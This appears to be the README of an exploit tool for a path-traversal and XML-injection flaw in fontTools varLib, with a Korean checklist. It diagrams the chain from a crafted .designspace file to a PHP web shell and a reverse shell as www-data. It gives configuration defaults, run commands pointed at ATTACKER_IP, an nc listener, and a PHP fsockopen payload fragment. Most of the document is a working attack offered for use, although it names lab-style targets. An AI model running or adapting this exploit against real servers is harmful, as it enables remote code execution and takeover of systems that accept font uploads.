Attacker crafts malicious .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PATH TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir discarded → write to web root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML INJECTION
                         CDATA split embeds raw PHP
                         into the output font binary
            │
            ▼
    fontTools.varLib.main() processes file server-side
            │
            ▼
    shell.php written to web-accessible directory
            │
            ▼
    GET /files/shell.php → PHP executes → reverse shell callback
            │
            ▼
    RCE as www-data

pip install fonttools requests

nc (netcat) — 자동 리스너 모드에 필요 (--no-listen 사용 시 건너뜀)

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

# ══════════════════════════════════════════════════════════════════════════════
#  DEFAULTS
#  Change these to match your target before running.
#  All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════

# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST      = "http://test.com"

# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT          = "/var/www/test.com/public/files"

# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST       = "http://testing.test.com/files"

# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX     = "f0nt_"

# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8

python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>

# Terminal 1 — start your listener
nc -lvnp 4444

# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

output_path = os.path.join(output_dir, filename)

filename = vf.filename                             # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename)  # path traversal via absolute path
vf.save(output_path)                              # arbitrary file write

[ ] 대상의 fonttools 버전이 >= 4.33.0 및 < 4.60.2인지
[ ] 대상이 .designspace + .ttf 파일 업로드를 허용하는지
[ ] 백엔드가 업로드된 .designspace에 대해 fontTools.varLib.main()을 호출하는지
[ ] 업로드 폼 필드 이름을 Burp로 확인했는지 (designspace + masters)
[ ] WEBROOT가 외부에서 웹 접근 가능한지
[ ] WEBROOT가 웹 프로세스(www-data 또는 이에 상당)에 의해 쓰기 가능한지
[ ] SHELL_HOST(--shell)가 내 컴퓨터에서 접근 가능한지
[ ] 대상 호스트 이름이 /etc/hosts에 등록되어 있는지